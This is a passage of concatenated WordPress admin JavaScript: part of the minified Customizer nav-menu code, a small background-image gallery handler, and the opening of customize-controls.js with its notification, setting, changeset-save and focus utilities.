move-down-disabled move-left-disabled move-right-disabled"),0===n.currentDepth?e.container.addClass("move-left-disabled"):10===n.currentDepth&&e.container.addClass("move-right-disabled")}),t[0].container.addClass("move-up-disabled").addClass("move-right-disabled").toggleClass("move-down-disabled",1===t.length),t[t.length-1].container.addClass("move-down-disabled").toggleClass("move-up-disabled",1===t.length))};a({menuItemControls:e,currentParent:0,currentDepth:0,currentAbsolutePosition:0}),this.updateInvitationVisibility(e),this.container.find(".reorder-toggle").toggle(1<e.length)},debouncedReflowMenuItems:_.debounce(function(){this.reflowMenuItems.apply(this,arguments)},0),addItemToMenu:function(e){var t,n,i,a=0,o=10,s=e.id||"";return _.each(this.getMenuItemControls(),function(e){!1!==e.setting()&&(o=Math.max(o,e.priority()),0===e.setting().menu_item_parent)&&(a=Math.max(a,e.setting().position))}),a+=1,o+=1,delete(e=m.extend({},c.Menus.data.defaultSettingValues.nav_menu_item,e,{nav_menu_term_id:this.params.menu_id,original_title:e.title,position:a})).id,i=c.Menus.generatePlaceholderAutoIncrementId(),t="nav_menu_item["+String(i)+"]",n={type:"nav_menu_item",transport:c.Menus.data.settingTransport,previewer:c.previewer},(n=c.create(t,t,{},n)).set(e),e=new c.controlConstructor.nav_menu_item(t,{type:"nav_menu_item",section:this.id,priority:o,settings:{default:t},menu_item_id:i,original_item_id:s}),c.control.add(e),n.preview(),this.debouncedReflowMenuItems(),l.a11y.speak(c.Menus.data.l10n.itemAdded),e},updateInvitationVisibility:function(e){e=e||this.getMenuItemControls();this.container.find(".new-menu-item-invitation").toggle(0===e.length)}}),m.extend(c.controlConstructor,{nav_menu_location:c.Menus.MenuLocationControl,nav_menu_item:c.Menus.MenuItemControl,nav_menu:c.Menus.MenuControl,nav_menu_name:c.Menus.MenuNameControl,nav_menu_locations:c.Menus.MenuLocationsControl,nav_menu_auto_add:c.Menus.MenuAutoAddControl}),m.extend(c.panelConstructor,{nav_menus:c.Menus.MenusPanel}),m.extend(c.sectionConstructor,{nav_menu:c.Menus.MenuSection,new_menu:c.Menus.NewMenuSection}),c.bind("ready",function(){c.Menus.availableMenuItemsPanel=new c.Menus.AvailableMenuItemsPanelView({collection:c.Menus.availableMenuItems}),c.bind("saved",function(e){(e.nav_menu_updates||e.nav_menu_item_updates)&&c.Menus.applySavedData(e)}),c.state("changesetStatus").bind(function(e){"publish"===e&&(c("nav_menus_created_posts")._value=[])}),c.previewer.bind("focus-nav-menu-item-control",c.Menus.focusMenuItemControl)}),c.Menus.applySavedData=function(e){var u={},r={};_(e.nav_menu_updates).each(function(n){var e,t,i,a,o,s,r,d;if("inserted"===n.status){if(!n.previous_term_id)throw new Error("Expected previous_term_id");if(!n.term_id)throw new Error("Expected term_id");if(e="nav_menu["+String(n.previous_term_id)+"]",!c.has(e))throw new Error("Expected setting to exist: "+e);if(i=c(e),!c.section.has(e))throw new Error("Expected control to exist: "+e);if(o=c.section(e),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");s=m.extend(_.clone(s),n.saved_value),u[n.previous_term_id]=n.term_id,a="nav_menu["+String(n.term_id)+"]",t=c.create(a,a,s,{type:"nav_menu",transport:c.Menus.data.settingTransport,previewer:c.previewer}),(d=o.expanded())&&o.collapse(),a=new c.Menus.MenuSection(a,{panel:"nav_menus",title:s.name,customizeAction:c.Menus.data.l10n.customizingMenus,type:"nav_menu",priority:o.priority.get(),menu_id:n.term_id}),c.section.add(a),c.control.each(function(e){var t;e.extended(c.controlConstructor.widget_form)&&"nav_menu"===e.params.widget_id_base&&(t=(e=e.container.find("select")).find("option[value="+String(n.previous_term_id)+"]"),e.find("option[value="+String(n.term_id)+"]").prop("selected",t.prop("selected")),t.remove())}),i.callbacks.disable(),i.set(!1),i.preview(),t.preview(),i._dirty=!1,o.container.remove(),c.section.remove(e),r=0,c.each(function(e){/^nav_menu\[/.test(e.id)&&!1!==e()&&(r+=1)}),(s=m("#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )")).find(".nav-menu-widget-form-controls:first").toggle(0!==r),s.find(".nav-menu-widget-no-menus-message:first").toggle(0===r),s.find("option[value="+String(n.previous_term_id)+"]").remove(),l.customize.control.each(function(e){/^nav_menu_locations\[/.test(e.id)&&e.container.find("option[value="+String(n.previous_term_id)+"]").remove()}),c.each(function(e){var t=c.state("saved").get();/^nav_menu_locations\[/.test(e.id)&&e.get()===n.previous_term_id&&(e.set(n.term_id),e._dirty=!1,c.state("saved").set(t),e.preview())}),d&&a.expand()}else if("updated"===n.status){if(t="nav_menu["+String(n.term_id)+"]",!c.has(t))throw new Error("Expected setting to exist: "+t);i=c(t),_.isEqual(n.saved_value,i.get())||(o=c.state("saved").get(),i.set(n.saved_value),i._dirty=!1,c.state("saved").set(o))}}),_(e.nav_menu_item_updates).each(function(e){e.previous_post_id&&(r[e.previous_post_id]=e.post_id)}),_(e.nav_menu_item_updates).each(function(e){var t,n,i,a,o,s;if("inserted"===e.status){if(!e.previous_post_id)throw new Error("Expected previous_post_id");if(!e.post_id)throw new Error("Expected post_id");if(t="nav_menu_item["+String(e.previous_post_id)+"]",!c.has(t))throw new Error("Expected setting to exist: "+t);if(i=c(t),!c.control.has(t))throw new Error("Expected control to exist: "+t);if(o=c.control(t),!(s=i.get()))throw new Error("Did not expect setting to be empty (deleted).");if((s=_.clone(s)).menu_item_parent<0){if(!r[s.menu_item_parent])throw new Error("inserted ID for menu_item_parent not available");s.menu_item_parent=r[s.menu_item_parent]}u[s.nav_menu_term_id]&&(s.nav_menu_term_id=u[s.nav_menu_term_id]),n="nav_menu_item["+String(e.post_id)+"]",a=c.create(n,n,s,{type:"nav_menu_item",transport:c.Menus.data.settingTransport,previewer:c.previewer}),s=new c.controlConstructor.nav_menu_item(n,{type:"nav_menu_item",menu_id:e.post_id,section:"nav_menu["+String(s.nav_menu_term_id)+"]",priority:o.priority.get(),settings:{default:n},menu_item_id:e.post_id}),o.container.remove(),c.control.remove(t),c.control.add(s),i.callbacks.disable(),i.set(!1),i.preview(),a.preview(),i._dirty=!1,s.container.toggleClass("menu-item-edit-inactive",o.container.hasClass("menu-item-edit-inactive"))}}),_.each(e.widget_nav_menu_updates,function(e,t){t=c(t);t&&(t._value=e,t.preview())})},c.Menus.focusMenuItemControl=function(e){e=c.Menus.getMenuItemControl(e);e&&e.focus()},c.Menus.getMenuControl=function(e){return c.control("nav_menu["+e+"]")},c.Menus.getMenuItemControl=function(e){return c.control("nav_menu_item["+e+"]")}}(wp.customize,wp,jQuery);/*! This file is auto-generated */
jQuery(function(o){o("body").on("click.wp-gallery",function(a){var e,t,n=o(a.target);n.hasClass("wp-set-header")?((window.dialogArguments||opener||parent||top).location.href=n.data("location"),a.preventDefault()):n.hasClass("wp-set-background")&&(n=n.data("attachment-id"),e=o('input[name="attachments['+n+'][image-size]"]:checked').val(),t=o("#_wpnonce").val()&&"",jQuery.post(ajaxurl,{action:"set-background-image",attachment_id:n,_ajax_nonce:t,size:e},function(){var a=window.dialogArguments||opener||parent||top;a.tb_remove(),a.location.reload()}),a.preventDefault())})});/**
 * @output wp-admin/js/customize-controls.js
 */

/* global _wpCustomizeHeader, _wpCustomizeBackground, _wpMediaViewsL10n, MediaElementPlayer, console, confirm */
(function( exports, $ ){
	var Container, focus, normalizedTransitionendEventName, api = wp.customize;

	var reducedMotionMediaQuery = window.matchMedia( '(prefers-reduced-motion: reduce)' );
	var isReducedMotion = reducedMotionMediaQuery.matches;
	reducedMotionMediaQuery.addEventListener( 'change' , function handleReducedMotionChange( event ) {
		isReducedMotion = event.matches;
	});

	api.OverlayNotification = api.Notification.extend(/** @lends wp.customize.OverlayNotification.prototype */{

		/**
		 * Whether the notification should show a loading spinner.
		 *
		 * @since 4.9.0
		 * @var {boolean}
		 */
		loading: false,

		/**
		 * A notification that is displayed in a full-screen overlay.
		 *
		 * @constructs wp.customize.OverlayNotification
		 * @augments   wp.customize.Notification
		 *
		 * @since 4.9.0
		 *
		 * @param {string} code - Code.
		 * @param {Object} params - Params.
		 */
		initialize: function( code, params ) {
			var notification = this;
			api.Notification.prototype.initialize.call( notification, code, params );
			notification.containerClasses += ' notification-overlay';
			if ( notification.loading ) {
				notification.containerClasses += ' notification-loading';
			}
		},

		/**
		 * Render notification.
		 *
		 * @since 4.9.0
		 *
		 * @return {jQuery} Notification container.
		 */
		render: function() {
			var li = api.Notification.prototype.render.call( this );
			li.on( 'keydown', _.bind( this.handleEscape, this ) );
			return li;
		},

		/**
		 * Stop propagation on escape key presses, but also dismiss notification if it is dismissible.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleEscape: function( event ) {
			var notification = this;
			if ( 27 === event.which ) {
				event.stopPropagation();
				if ( notification.dismissible && notification.parent ) {
					notification.parent.remove( notification.code );
				}
			}
		}
	});

	api.Notifications = api.Values.extend(/** @lends wp.customize.Notifications.prototype */{

		/**
		 * Whether the alternative style should be used.
		 *
		 * @since 4.9.0
		 * @type {boolean}
		 */
		alt: false,

		/**
		 * The default constructor for items of the collection.
		 *
		 * @since 4.9.0
		 * @type {object}
		 */
		defaultConstructor: api.Notification,

		/**
		 * A collection of observable notifications.
		 *
		 * @since 4.9.0
		 *
		 * @constructs wp.customize.Notifications
		 * @augments   wp.customize.Values
		 *
		 * @param {Object}  options - Options.
		 * @param {jQuery}  [options.container] - Container element for notifications. This can be injected later.
		 * @param {boolean} [options.alt] - Whether alternative style should be used when rendering notifications.
		 *
		 * @return {void}
		 */
		initialize: function( options ) {
			var collection = this;

			api.Values.prototype.initialize.call( collection, options );

			_.bindAll( collection, 'constrainFocus' );

			// Keep track of the order in which the notifications were added for sorting purposes.
			collection._addedIncrement = 0;
			collection._addedOrder = {};

			// Trigger change event when notification is added or removed.
			collection.bind( 'add', function( notification ) {
				collection.trigger( 'change', notification );
			});
			collection.bind( 'removed', function( notification ) {
				collection.trigger( 'change', notification );
			});
		},

		/**
		 * Get the number of notifications added.
		 *
		 * @since 4.9.0
		 * @return {number} Count of notifications.
		 */
		count: function() {
			return _.size( this._value );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 *
		 * @param {string|wp.customize.Notification} notification - Notification object to add. Alternatively code may be supplied, and in that case the second notificationObject argument must be supplied.
		 * @param {wp.customize.Notification} [notificationObject] - Notification to add when first argument is the code string.
		 * @return {wp.customize.Notification} Added notification (or existing instance if it was already added).
		 */
		add: function( notification, notificationObject ) {
			var collection = this, code, instance;
			if ( 'string' === typeof notification ) {
				code = notification;
				instance = notificationObject;
			} else {
				code = notification.code;
				instance = notification;
			}
			if ( ! collection.has( code ) ) {
				collection._addedIncrement += 1;
				collection._addedOrder[ code ] = collection._addedIncrement;
			}
			return api.Values.prototype.add.call( collection, code, instance );
		},

		/**
		 * Add notification to the collection.
		 *
		 * @since 4.9.0
		 * @param {string} code - Notification code to remove.
		 * @return {api.Notification} Added instance (or existing instance if it was already added).
		 */
		remove: function( code ) {
			var collection = this;
			delete collection._addedOrder[ code ];
			return api.Values.prototype.remove.call( this, code );
		},

		/**
		 * Get list of notifications.
		 *
		 * Notifications may be sorted by type followed by added time.
		 *
		 * @since 4.9.0
		 * @param {Object}  args - Args.
		 * @param {boolean} [args.sort=false] - Whether to return the notifications sorted.
		 * @return {Array.<wp.customize.Notification>} Notifications.
		 */
		get: function( args ) {
			var collection = this, notifications, errorTypePriorities, params;
			notifications = _.values( collection._value );

			params = _.extend(
				{ sort: false },
				args
			);

			if ( params.sort ) {
				errorTypePriorities = { error: 4, warning: 3, success: 2, info: 1 };
				notifications.sort( function( a, b ) {
					var aPriority = 0, bPriority = 0;
					if ( ! _.isUndefined( errorTypePriorities[ a.type ] ) ) {
						aPriority = errorTypePriorities[ a.type ];
					}
					if ( ! _.isUndefined( errorTypePriorities[ b.type ] ) ) {
						bPriority = errorTypePriorities[ b.type ];
					}
					if ( aPriority !== bPriority ) {
						return bPriority - aPriority; // Show errors first.
					}
					return collection._addedOrder[ b.code ] - collection._addedOrder[ a.code ]; // Show newer notifications higher.
				});
			}

			return notifications;
		},

		/**
		 * Render notifications area.
		 *
		 * @since 4.9.0
		 * @return {void}
		 */
		render: function() {
			var collection = this,
				notifications, hadOverlayNotification = false, hasOverlayNotification, overlayNotifications = [],
				previousNotificationsByCode = {},
				listElement, focusableElements;

			// Short-circuit if there are no container to render into.
			if ( ! collection.container || ! collection.container.length ) {
				return;
			}

			notifications = collection.get( { sort: true } );
			collection.container.toggle( 0 !== notifications.length );

			// Short-circuit if there are no changes to the notifications.
			if ( collection.container.is( collection.previousContainer ) && _.isEqual( notifications, collection.previousNotifications ) ) {
				return;
			}

			// Make sure list is part of the container.
			listElement = collection.container.children( 'ul' ).first();
			if ( ! listElement.length ) {
				listElement = $( '<ul></ul>' );
				collection.container.append( listElement );
			}

			// Remove all notifications prior to re-rendering.
			listElement.find( '> [data-code]' ).remove();

			_.each( collection.previousNotifications, function( notification ) {
				previousNotificationsByCode[ notification.code ] = notification;
			});

			// Add all notifications in the sorted order.
			_.each( notifications, function( notification ) {
				var notificationContainer;
				if ( wp.a11y && ( ! previousNotificationsByCode[ notification.code ] || ! _.isEqual( notification.message, previousNotificationsByCode[ notification.code ].message ) ) ) {
					wp.a11y.speak( notification.message, 'assertive' );
				}
				notificationContainer = $( notification.render() );
				notification.container = notificationContainer;
				listElement.append( notificationContainer ); // @todo Consider slideDown() as enhancement.

				if ( notification.extended( api.OverlayNotification ) ) {
					overlayNotifications.push( notification );
				}
			});
			hasOverlayNotification = Boolean( overlayNotifications.length );

			if ( collection.previousNotifications ) {
				hadOverlayNotification = Boolean( _.find( collection.previousNotifications, function( notification ) {
					return notification.extended( api.OverlayNotification );
				} ) );
			}

			if ( hasOverlayNotification !== hadOverlayNotification ) {
				$( document.body ).toggleClass( 'customize-loading', hasOverlayNotification );
				collection.container.toggleClass( 'has-overlay-notifications', hasOverlayNotification );
				if ( hasOverlayNotification ) {
					collection.previousActiveElement = document.activeElement;
					$( document ).on( 'keydown', collection.constrainFocus );
				} else {
					$( document ).off( 'keydown', collection.constrainFocus );
				}
			}

			if ( hasOverlayNotification ) {
				collection.focusContainer = overlayNotifications[ overlayNotifications.length - 1 ].container;
				collection.focusContainer.prop( 'tabIndex', -1 );
				focusableElements = collection.focusContainer.find( ':focusable' );
				if ( focusableElements.length ) {
					focusableElements.first().focus();
				} else {
					collection.focusContainer.focus();
				}
			} else if ( collection.previousActiveElement ) {
				$( collection.previousActiveElement ).trigger( 'focus' );
				collection.previousActiveElement = null;
			}

			collection.previousNotifications = notifications;
			collection.previousContainer = collection.container;
			collection.trigger( 'rendered' );
		},

		/**
		 * Constrain focus on focus container.
		 *
		 * @since 4.9.0
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		constrainFocus: function constrainFocus( event ) {
			var collection = this, focusableElements;

			// Prevent keys from escaping.
			event.stopPropagation();

			if ( 9 !== event.which ) { // Tab key.
				return;
			}

			focusableElements = collection.focusContainer.find( ':focusable' );
			if ( 0 === focusableElements.length ) {
				focusableElements = collection.focusContainer;
			}

			if ( ! $.contains( collection.focusContainer[0], event.target ) || ! $.contains( collection.focusContainer[0], document.activeElement ) ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.last().is( event.target ) && ! event.shiftKey ) {
				event.preventDefault();
				focusableElements.first().focus();
			} else if ( focusableElements.first().is( event.target ) && event.shiftKey ) {
				event.preventDefault();
				focusableElements.last().focus();
			}
		}
	});

	api.Setting = api.Value.extend(/** @lends wp.customize.Setting.prototype */{

		/**
		 * Default params.
		 *
		 * @since 4.9.0
		 * @var {object}
		 */
		defaults: {
			transport: 'refresh',
			dirty: false
		},

		/**
		 * A Customizer Setting.
		 *
		 * A setting is WordPress data (theme mod, option, menu, etc.) that the user can
		 * draft changes to in the Customizer.
		 *
		 * @see PHP class WP_Customize_Setting.
		 *
		 * @constructs wp.customize.Setting
		 * @augments   wp.customize.Value
		 *
		 * @since 3.4.0
		 *
		 * @param {string}  id                          - The setting ID.
		 * @param {*}       value                       - The initial value of the setting.
		 * @param {Object}  [options={}]                - Options.
		 * @param {string}  [options.transport=refresh] - The transport to use for previewing. Supports 'refresh' and 'postMessage'.
		 * @param {boolean} [options.dirty=false]       - Whether the setting should be considered initially dirty.
		 * @param {Object}  [options.previewer]         - The Previewer instance to sync with. Defaults to wp.customize.previewer.
		 */
		initialize: function( id, value, options ) {
			var setting = this, params;
			params = _.extend(
				{ previewer: api.previewer },
				setting.defaults,
				options || {}
			);

			api.Value.prototype.initialize.call( setting, value, params );

			setting.id = id;
			setting._dirty = params.dirty; // The _dirty property is what the Customizer reads from.
			setting.notifications = new api.Notifications();

			// Whenever the setting's value changes, refresh the preview.
			setting.bind( setting.preview );
		},

		/**
		 * Refresh the preview, respective of the setting's refresh policy.
		 *
		 * If the preview hasn't sent a keep-alive message and is likely
		 * disconnected by having navigated to a non-allowed URL, then the
		 * refresh transport will be forced when postMessage is the transport.
		 * Note that postMessage does not throw an error when the recipient window
		 * fails to match the origin window, so using try/catch around the
		 * previewer.send() call to then fallback to refresh will not work.
		 *
		 * @since 3.4.0
		 * @access public
		 *
		 * @return {void}
		 */
		preview: function() {
			var setting = this, transport;
			transport = setting.transport;

			if ( 'postMessage' === transport && ! api.state( 'previewerAlive' ).get() ) {
				transport = 'refresh';
			}

			if ( 'postMessage' === transport ) {
				setting.previewer.send( 'setting', [ setting.id, setting() ] );
			} else if ( 'refresh' === transport ) {
				setting.previewer.refresh();
			}
		},

		/**
		 * Find controls associated with this setting.
		 *
		 * @since 4.6.0
		 * @return {wp.customize.Control[]} Controls associated with setting.
		 */
		findControls: function() {
			var setting = this, controls = [];
			api.control.each( function( control ) {
				_.each( control.settings, function( controlSetting ) {
					if ( controlSetting.id === setting.id ) {
						controls.push( control );
					}
				} );
			} );
			return controls;
		}
	});

	/**
	 * Current change count.
	 *
	 * @alias wp.customize._latestRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._latestRevision = 0;

	/**
	 * Last revision that was saved.
	 *
	 * @alias wp.customize._lastSavedRevision
	 *
	 * @since 4.7.0
	 * @type {number}
	 * @protected
	 */
	api._lastSavedRevision = 0;

	/**
	 * Latest revisions associated with the updated setting.
	 *
	 * @alias wp.customize._latestSettingRevisions
	 *
	 * @since 4.7.0
	 * @type {object}
	 * @protected
	 */
	api._latestSettingRevisions = {};

	/*
	 * Keep track of the revision associated with each updated setting so that
	 * requestChangesetUpdate knows which dirty settings to include. Also, once
	 * ready is triggered and all initial settings have been added, increment
	 * revision for each newly-created initially-dirty setting so that it will
	 * also be included in changeset update requests.
	 */
	api.bind( 'change', function incrementChangedSettingRevision( setting ) {
		api._latestRevision += 1;
		api._latestSettingRevisions[ setting.id ] = api._latestRevision;
	} );
	api.bind( 'ready', function() {
		api.bind( 'add', function incrementCreatedSettingRevision( setting ) {
			if ( setting._dirty ) {
				api._latestRevision += 1;
				api._latestSettingRevisions[ setting.id ] = api._latestRevision;
			}
		} );
	} );

	/**
	 * Get the dirty setting values.
	 *
	 * @alias wp.customize.dirtyValues
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object} [options] Options.
	 * @param {boolean} [options.unsaved=false] Whether only values not saved yet into a changeset will be returned (differential changes).
	 * @return {Object} Dirty setting values.
	 */
	api.dirtyValues = function dirtyValues( options ) {
		var values = {};
		api.each( function( setting ) {
			var settingRevision;

			if ( ! setting._dirty ) {
				return;
			}

			settingRevision = api._latestSettingRevisions[ setting.id ];

			// Skip including settings that have already been included in the changeset, if only requesting unsaved.
			if ( api.state( 'changesetStatus' ).get() && ( options && options.unsaved ) && ( _.isUndefined( settingRevision ) || settingRevision <= api._lastSavedRevision ) ) {
				return;
			}

			values[ setting.id ] = setting.get();
		} );
		return values;
	};

	/**
	 * Request updates to the changeset.
	 *
	 * @alias wp.customize.requestChangesetUpdate
	 *
	 * @since 4.7.0
	 * @access public
	 *
	 * @param {Object}  [changes] - Mapping of setting IDs to setting params each normally including a value property, or mapping to null.
	 *                             If not provided, then the changes will still be obtained from unsaved dirty settings.
	 * @param {Object}  [args] - Additional options for the save request.
	 * @param {boolean} [args.autosave=false] - Whether changes will be stored in autosave revision if the changeset has been promoted from an auto-draft.
	 * @param {boolean} [args.force=false] - Send request to update even when there are no changes to submit. This can be used to request the latest status of the changeset on the server.
	 * @param {string}  [args.title] - Title to update in the changeset. Optional.
	 * @param {string}  [args.date] - Date to update in the changeset. Optional.
	 * @return {jQuery.Promise} Promise resolving with the response data.
	 */
	api.requestChangesetUpdate = function requestChangesetUpdate( changes, args ) {
		var deferred, request, submittedChanges = {}, data, submittedArgs;
		deferred = new $.Deferred();

		// Prevent attempting changeset update while request is being made.
		if ( 0 !== api.state( 'processing' ).get() ) {
			deferred.reject( 'already_processing' );
			return deferred.promise();
		}

		submittedArgs = _.extend( {
			title: null,
			date: null,
			autosave: false,
			force: false
		}, args );

		if ( changes ) {
			_.extend( submittedChanges, changes );
		}

		// Ensure all revised settings (changes pending save) are also included, but not if marked for deletion in changes.
		_.each( api.dirtyValues( { unsaved: true } ), function( dirtyValue, settingId ) {
			if ( ! changes || null !== changes[ settingId ] ) {
				submittedChanges[ settingId ] = _.extend(
					{},
					submittedChanges[ settingId ] || {},
					{ value: dirtyValue }
				);
			}
		} );

		// Allow plugins to attach additional params to the settings.
		api.trigger( 'changeset-save', submittedChanges, submittedArgs );

		// Short-circuit when there are no pending changes.
		if ( ! submittedArgs.force && _.isEmpty( submittedChanges ) && null === submittedArgs.title && null === submittedArgs.date ) {
			deferred.resolve( {} );
			return deferred.promise();
		}

		// A status would cause a revision to be made, and for this wp.customize.previewer.save() should be used.
		// Status is also disallowed for revisions regardless.
		if ( submittedArgs.status ) {
			return deferred.reject( { code: 'illegal_status_in_changeset_update' } ).promise();
		}

		// Dates not beung allowed for revisions are is a technical limitation of post revisions.
		if ( submittedArgs.date && submittedArgs.autosave ) {
			return deferred.reject( { code: 'illegal_autosave_with_date_gmt' } ).promise();
		}

		// Make sure that publishing a changeset waits for all changeset update requests to complete.
		api.state( 'processing' ).set( api.state( 'processing' ).get() + 1 );
		deferred.always( function() {
			api.state( 'processing' ).set( api.state( 'processing' ).get() - 1 );
		} );

		// Ensure that if any plugins add data to save requests by extending query() that they get included here.
		data = api.previewer.query( { excludeCustomizedSaved: true } );
		delete data.customized; // Being sent in customize_changeset_data instead.
		_.extend( data, {
			nonce: api.settings.nonce.save,
			customize_theme: api.settings.theme.stylesheet,
			customize_changeset_data: JSON.stringify( submittedChanges )
		} );
		if ( null !== submittedArgs.title ) {
			data.customize_changeset_title = submittedArgs.title;
		}
		if ( null !== submittedArgs.date ) {
			data.customize_changeset_date = submittedArgs.date;
		}
		if ( false !== submittedArgs.autosave ) {
			data.customize_changeset_autosave = 'true';
		}

		// Allow plugins to modify the params included with the save request.
		api.trigger( 'save-request-params', data );

		request = wp.ajax.post( 'customize_save', data );

		request.done( function requestChangesetUpdateDone( data ) {
			var savedChangesetValues = {};

			// Ensure that all settings updated subsequently will be included in the next changeset update request.
			api._lastSavedRevision = Math.max( api._latestRevision, api._lastSavedRevision );

			api.state( 'changesetStatus' ).set( data.changeset_status );

			if ( data.changeset_date ) {
				api.state( 'changesetDate' ).set( data.changeset_date );
			}

			deferred.resolve( data );
			api.trigger( 'changeset-saved', data );

			if ( data.setting_validities ) {
				_.each( data.setting_validities, function( validity, settingId ) {
					if ( true === validity && _.isObject( submittedChanges[ settingId ] ) && ! _.isUndefined( submittedChanges[ settingId ].value ) ) {
						savedChangesetValues[ settingId ] = submittedChanges[ settingId ].value;
					}
				} );
			}

			api.previewer.send( 'changeset-saved', _.extend( {}, data, { saved_changeset_values: savedChangesetValues } ) );
		} );
		request.fail( function requestChangesetUpdateFail( data ) {
			deferred.reject( data );
			api.trigger( 'changeset-error', data );
		} );
		request.always( function( data ) {
			if ( data.setting_validities ) {
				api._handleSettingValidities( {
					settingValidities: data.setting_validities
				} );
			}
		} );

		return deferred.promise();
	};

	/**
	 * Watch all changes to Value properties, and bubble changes to parent Values instance
	 *
	 * @alias wp.customize.utils.bubbleChildValueChanges
	 *
	 * @since 4.1.0
	 *
	 * @param {wp.customize.Class} instance
	 * @param {Array}              properties  The names of the Value instances to watch.
	 */
	api.utils.bubbleChildValueChanges = function ( instance, properties ) {
		$.each( properties, function ( i, key ) {
			instance[ key ].bind( function ( to, from ) {
				if ( instance.parent && to !== from ) {
					instance.parent.trigger( 'change', instance );
				}
			} );
		} );
	};

	/**
	 * Expand a panel, section, or control and focus on the first focusable element.
	 *
	 * @alias wp.customize~focus
	 *
	 * @since 4.1.0
	 *
	 * @param {Object}   [params]
	 * @param {Function} [params.completeCallback]
	 */
	focus = function ( params ) {
		var construct, completeCallback, focus, focusElement, sections;
		construct = this;
		params = params || {};
		focus = function () {
			// If a child section is currently expanded, collapse it.
			if ( construct.extended( api.Panel ) ) {
				sections = construct.sections();
				if ( 1 < sections.length ) {
					sections.forEach( function ( section ) {
						if ( section.expanded() ) {
							section.collapse();
						}
					} );
				}
			}

			var focusContainer;
			if ( ( construct.extended( api.Panel ) || construct.extended( api.Section ) ) && construct.expanded && construct.expanded() ) {
				focusContainer = construct.contentContainer;
			} else {
				focusContainer = construct.container;
			}

			focusElement = focusContainer.find( '.control-focus:first' );
			if ( 0 === focusElement.length ) {
				// Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583
				focusElement = focusContainer.find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ).first();
			}
			focusElement.focus();
		};
		if ( params.completeCallback ) {
			completeCallback = params.completeCallback;
			params.completeCallback = function () {
				focus();
				completeCallback();
			};
		} else {
			params.completeCallback = focus;
		}

		api.state( 'paneVisible' ).set( true );
		if ( construct.expand ) {
			construct.expand( params );
		} else {
			params.completeCallback();
		}
	};

	/**
	 * Stable sort for Panels, Sections, and Controls.
	 *
	 * If a.priority() === b.priority(), then sort by their respective params.instanceNumber.
	 *
	 * @alias wp.customize.utils.prioritySort
	 *
	 * @since 4.1.0
	 *
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} a
	 * @param {(wp.customize.Panel|wp.customize.Section|wp.customize.Control)} b
	 * @return {number}
	 */
	api.utils.prioritySort = function ( a, b ) {
		if ( a.priority() === b.priority() && typeof a.params.instanceNumber === 'number' && typeof b.params.instanceNumber === 'number' ) {
			return a.params.instanceNumber - b.params.instanceNumber;
		} else {
			return a.priority() - b.priority();
		}
	};

	/**
	 * Return whether the supplied Event object is for a keydown event but not the Enter key.
	 *
	 * @alias wp.customize.utils.isKeydownButNotEnterEvent
	 *
	 * @since 4.1.0
	 *
	 * @param {jQuery.Event} event
	 * @return {boolean}
	 */
	api.utils.isKeydownButNotEnterEvent = function ( event ) {
		return ( 'keydown' === event.type && 13 !== event.which );
	};

	/**
	 * Return whether the two lists of elements are the same and are in the same order.
	 *
	 * @alias wp.customize.utils.areElementListsEqual
	 *
	 * @since 4.1.0
	 *
	 * @param {Array|jQuery} listA
	 * @param {Array|jQuery} listB
	 * @return {boolean}
	 */
	api.utils.areElementListsEqual = function ( listA, listB ) {
		var equal = (
			listA.length === listB.length && // If lists are different lengths, then naturally they are not equal.
			-1 === _.indexOf( _.map(         // Are there any false values in the list returned by map?
				_.zip( listA, listB ),       // Pair up each element between the two lists.
				function ( pair ) {
					return $( pair[0] ).is( pair[1] ); // Compare to see if each pair is equal.
				}
			), false ) // Check for presence of false in map's return value.
		);
		return equal;
	};

	/**
	 * Highlight the existence of a button.
	 *
	 * This function reminds the user of a button represented by the specified
	 * UI element, after an optional delay. If the user focuses the element
	 * before the delay passes, the reminder is canceled.
	 *
	 * @alias wp.customize.utils.highlightButton
	 *
	 * @since 4.9.0
	 *
	 * @param {jQuery} button - The element to highlight.
	 * @param {Object} [options] - Options.
	 * @param {number} [options.delay=0] - Delay in milliseconds.
	 * @param {jQuery} [options.focusTarget] - A target for user focus that defaults to the highlighted element.
	 *                                         If the user focuses the target before the delay passes, the reminder
	 *                                         is canceled. This option exists to accommodate compound buttons
	 *                                         containing auxiliary UI, such as the Publish button augmented with a
	 *                                         Settings button.
	 * @return {Function} An idempotent function that cancels the reminder.
	 */
	api.utils.highlightButton = function highlightButton( button, options ) {
		var animationClass = 'button-see-me',
			canceled = false,
			params;

		params = _.extend(
			{
				delay: 0,
				focusTarget: button
			},
			options
		);

		function cancelReminder() {
			canceled = true;
		}

		params.focusTarget.on( 'focusin', cancelReminder );
		setTimeout( function() {
			params.focusTarget.off( 'focusin', cancelReminder );

			if ( ! canceled ) {
				button.addClass( animationClass );
				button.one( 'animationend', function() {
					/*
					 * Remove animation class to avoid situations in Customizer where
					 * DOM nodes are moved (re-inserted) and the animation repeats.
					 */
					button.removeClass( animationClass );
				} );
			}
		}, params.delay );

		return cancelReminder;
	};

	/**
	 * Get current timestamp adjusted for server clock time.
	 *
	 * Same functionality as the `current_time( 'mysql', false )` function in PHP.
	 *
	 * @alias wp.customize.utils.getCurrentTimestamp
	 *
	 * @since 4.9.0
	 *
	 * @return {number} Current timestamp.
	 */
	api.utils.getCurrentTimestamp = function getCurrentTimestamp() {
		var currentDate, currentClientTimestamp, timestampDifferential;
		currentClientTimestamp = _.now();
		currentDate = new Date( api.settings.initialServerDate.replace( /-/g, '/' ) );
		timestampDifferential = currentClientTimestamp - api.settings.initialClientTimestamp;
		timestampDifferential += api.settings.initialClientTimestamp - api.settings.initialServerTimestamp;
		currentDate.setTime( currentDate.getTime() + timestampDifferential );
		return currentDate.getTime();
	};

	/**
	 * Get remaining time of when the date is set.
	 *
	 * @alias wp.customize.utils.getRemainingTime
